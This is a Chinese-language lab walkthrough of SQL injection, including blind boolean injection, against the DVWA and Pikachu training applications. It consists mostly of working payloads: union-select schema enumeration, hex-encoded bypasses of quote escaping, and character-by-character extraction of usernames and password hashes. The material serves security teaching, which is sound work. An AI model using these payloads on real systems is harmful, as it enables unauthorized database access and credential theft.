DvwaPikachu-SQL注入-完整
SQL注入
一 初级：
- 判断是否存在注入点；
1' or '1'='1
- 判断字段长度（字段数） ；
1' order by 3# 3有错误，说明当前查询的结果有两个字段
- 判断字段回显位置；
1' union select 1,2#
- 判断数据库信息；
1' union select 1,database()#
- 查找数据库名；
1' union select 1,database()# 当前的一个数据库
1' union select 1,group_concat(schema_name) from information_schema.schemata # 显示所有的数据库
- 查找数据库表；
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa'#
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
- 查找数据库表中所有字段以及字段值；
1' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'#
（8）取表中数据，并猜解账号密码；
1' union select 1,group_concat(first_name,0x3a,password) from users#
（9）登录管理员后台。
pikachu字符型，同理
二、中级：
判断是否存在注入点；
1' 异常
1 and 1=1 #正常
1 and 1=2 #异常
数字型
- 判断字段长度（字段数） ；
1 order by 3# 3有错误，说明当前查询的结果有两个字段
- 判断字段回显位置；
1 union select 1,2#
- 判断数据库信息；
1 union select 1,database()#
- 查找数据库名；
1 union select 1,database()# 当前的一个数据库
1 union select 1,group_concat(schema_name) from information_schema.schemata # 显示所有的数据库
- 查找数据库表；
1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa'# 不行，''被转义
id=1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=0x64767761 # &Submit=Submit
1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
- 查找数据库表中所有字段以及字段值；
1 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'#
' 单引号被转义，CTF在线工具-Hex在线编码|Hex在线解码|十六进制编码转换在线把users转换成十六进制，然后进行；
id=1 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273# &Submit=Submit
id=3 union select 1,group_concat(column_name) from information_schema.columns where table_schema=0x64767761 and table_name=0x7573657273 # &Submit=Submit
（8）取表中数据，并猜解账号密码；
1 union select 1,group_concat(first_name,0x3a,password) from users#
（9）登录管理员后台。
pikachu字符型，同理
三、高级：
判断是否存在注入点；
1' 异常
1 and 1=1 #正常
1 and 1=2 #异常
字符型
- 判断字段长度（字段数） ；
1' order by 3# 3有错误，说明当前查询的结果有两个字段
- 判断字段回显位置；
1' union select 1,2#
- 判断数据库信息；
1' union select 1,database()#
- 查找数据库名；
1' union select 1,database()# 当前的一个数据库
1' union select 1,group_concat(schema_name) from information_schema.schemata # 显示所有的数据库
- 查找数据库表；
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa'#
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
- 查找数据库表中所有字段以及字段值；
1' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'#
' 单引号被转义，CTF在线工具-Hex在线编码|Hex在线解码|十六进制编码转换在线把users转换成十六进制，然后进行
id=1 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273# &Submit=Submit
（8）取表中数据，并猜解账号密码；
1' union select 1,group_concat(first_name,0x3a,password) from users#
（9）登录管理员后台。
pikachu字符型，同理
SQL-Blind 盲注
原文链接：DVWA——SQL盲注（全等级）_dvwa盲注-CSDN博客
一、LOW:
1. 输入 1' and 1=1 # 可以看到 正常执行
2. 猜解开数据库长度1' and length(database())=x #
3.确定数据库名字的长度
输入语句显示结果
1’ and length(database())=1 #不存在
1’ and length(database())<5 #存在，说明数据库名字长度是小于5的
1’ and length(database())=4 #存在，说明数据库名字长度为4
1' and length(database())=4 # 说明数据库名字长度就是4个字符
3.数据库长度
ASCII查询对照表：ASCII编码对照表_911查询
猜测数据库名的第一个字符ASCII的取值范围
由于是DVWA靶场，所以合理猜测数据库名为dvwa（如果是其他场景下，需要不断修改数值，缩小取值范围，最终确定一个取值）
输入语句显示结果
1’ and ascii(substr(database(),1,1))>97#显示存在，说明第一个字符是一个小写字母且不是a。
1’ and ascii(substr(database(),1,1))=100#显示存在，说明第一个是d
1’ and ascii(substr(database(),2,1))=118#显示存在，说明第二个是v
1’ and ascii(substr(database(),3,1))=119#显示存在，说明第三个是w
1’ and ascii(substr(database(),4,1))=97#显示存在，说明第四个是a
1. 用aascii猜解数据库名 1' and ascii(substr(database(),1,1))=100 # 由此确定，第一位ascii是100，对比ascii表（ASCII码对照表-完整ASCII码表-我就查查询）可得 为d
第二个字母v,ascii值是118
1' and ascii(substr(database(),2,1))=118 #
第三个字母 w,ascii值是119
1' and ascii(substr(database(),3,1))=119#
第四个字母a,ascii值是97
1' and ascii(substr(database(),4,1))=97#
综上所述：数据库名字就是dvwa;
4. 获取表名，先判断有多少个表
输入语句显示结果
1’ and (select count(table_name) from information_schema.tables where table_schema=database())=1#不存在 1’ and (select count(table_name) from information_schema.tables where table_schema=database())>2#不存在，说明表的数量是2 1’ and (select count(table_name) from information_schema.tables where table_schema=database())=2 #存在，猜想验证成功1' and (select count(table_name) from information_schema.tables where table_schema=database())=2 #
证明有2个表
5.确定dvwa数据库中表名的长度
输入语句分布解析：
1.查询列出当前连接数据库下的所有表名称
select table_name from information_schema.tables where table_schema=database()
2.列出当前连接数据库中的第1个表名称
select table_name from information_schema.tables where table_schema=database() limit 0,1
PS:limit 结果编号（从0开始），返回结果数量
3.计算当前连接数据库第1个表名的字符串长度值
length( substr ((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))
4.将当前连接数据库第1个表名称长度与某个值比较作为判断条件，联合and逻辑构造特定的 sql语句 进行查询，根据查询返回结果猜解表名称的长度值
1’ and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>10 #
输入语句显示结果
1’ and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>10#不存在
1’ and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>8#存在，说明dvwa第一个表长度为9
1’ and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=9#存在，验证成功
实际有2个表，guestbook,users;
同理可以对第二个表的长度进行猜测：
输入语句显示结果
1’ and length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=5#存在，dvwa第二个表长度为5
6.确定dvwa数据库中表的名字
与确定数据库名字类似，用到ascii()和substr()两个函数。
substr(str,1,1)：从str的第一个字符开始，截取长度1 == 取str的第一个字符
limit 0,1：0-查询结果的第一个；1-返回一条查询结果。 eg: limit 3,5 就是返回第4-8条数据。
输入语句显示结果
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=103#显示存在，第一个表的第一个字符是g，以此类推可以确定第一个表的名字是guestbook。
guestbook中的第二个字母
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))=117#
第二个表users确定：
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=117#存在，第二个表的第一个字符是u，以此类推可以确定
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),2,1))=115#存在，第二个表的第二个字符是s，以此类推可以确定
7.确定users表中的字段数目
输入语句显示结果
1’ and (select count(column_name) from information_schema.columns where table_schema=database() and table_name=‘users’)>4#存在
1’ and (select count(column_name) from information_schema.columns where table_schema=database() and table_name=‘users’)>9#不存在
1’ and (select count(column_name) from information_schema.columns where table_schema=database() and table_name=‘users’)>7#存在
1’ and (select count(column_name) from information_schema.columns where table_schema=database() and table_name=‘users’)=8#存在所以users表中有8个字段
8.确定users表中的8个字段长度
输入语句显示结果
1’ and length((select column_name from information_schema.columns where table_schema=database() and table_name=‘users’ limit 0,1))>10#不存在
1’ and length((select column_name from information_schema.columns where table_schema=database() and table_name=‘users’ limit 0,1))>6#存在
1’ and length((select column_name from information_schema.columns where table_schema=database() and table_name=‘users’ limit 0,1))>8#不存在
输入1’ and length((select column_name from information_schema.columns where table_schema=database() and table_name=‘users’ limit 0,1))=7#存在说明users表的第一个字段长度为7
输入语句显示结果
1’ and length((select column_name from information_schema.columns where table_schema=database() and table_name=‘users’ limit 0,1))>10#不存在
1’ and length((select column_name from information_schema.columns where table_schema=database() and table_name=‘users’ limit 0,1))>6#存在
1’ and length((select column_name from information_schema.columns where table_schema=database() and table_name=‘users’ limit 0,1))>8#不存在
输入1’ and length((select column_name from information_schema.columns where table_schema=database() and table_name=‘users’ limit 0,1))=7#存在说明users表的第一个字段长度为7
同理可以获取其他7个字段的长度
9.确定users表中的8个字段名字
由于表中的字段数目比较多，长度比较长，如果采用之前的按字符猜测，会很耗时间。根据我们的需要，判断users表中是否含有用户名和密码字段即可。
根据经验猜测用户名和密码的字段名字如下：
用户名：username/user_name/uname/u_name/user/…
密码：password/pass_word/pwd/pass/…
猜用户名：
1' and (select count(*) from information_schema.columns where table_schema=database() and table_name='users' and column_name='username')=1 #显示不存在，更换字段名再尝试，发现user显示存在
猜密码：
1' and (select count(*) from information_schema.columns where table_schema=database() and table_name='users' and column_name='password')=1 #- 显示存在
综上可知，users表中的用户名和密码字段分别为user和password。
10.获取user和password的字段值
password在存储的时候进行了MD5加密。
同样先进行猜测碰撞，如果不行再逐个筛选。
1' and (select count(*) from users where user='admin')=1 #
1' and (select count(*) from users where user='admin' and password='5f4dcc3b5aa765d61d8327deb882cf99')=1 #
显示存在
综上可知一组用户名-密码：admin-password。
二、Medium
步骤和LOW相似，不过变成数字型注入，需要去掉1后面的单引号。
使用burpsuite抓包，修改id的值为注入语句即可。
同时medium在源代码中对特殊符号进行了转义处理，对于带有引号的字符串转换成16进制进行绕过。
三、High
high级别会另外开启一个页面，步骤类似
Medium
1. 随意选择一个数，然后抓包；
1. 修改参数 1 and length(database())=4 #，根据布尔 盲注判断，，数据库名为4
1. 下面依旧使用sql语句进行查询，步骤同上
high
1. 1' and 1=1 # 测试，发现成功执行
1. 盲注，测试数据库名长度 1' and length(database())=4 #
1. 接下来的步骤同上
impossible
只能使用数字，且设置了token ，无漏洞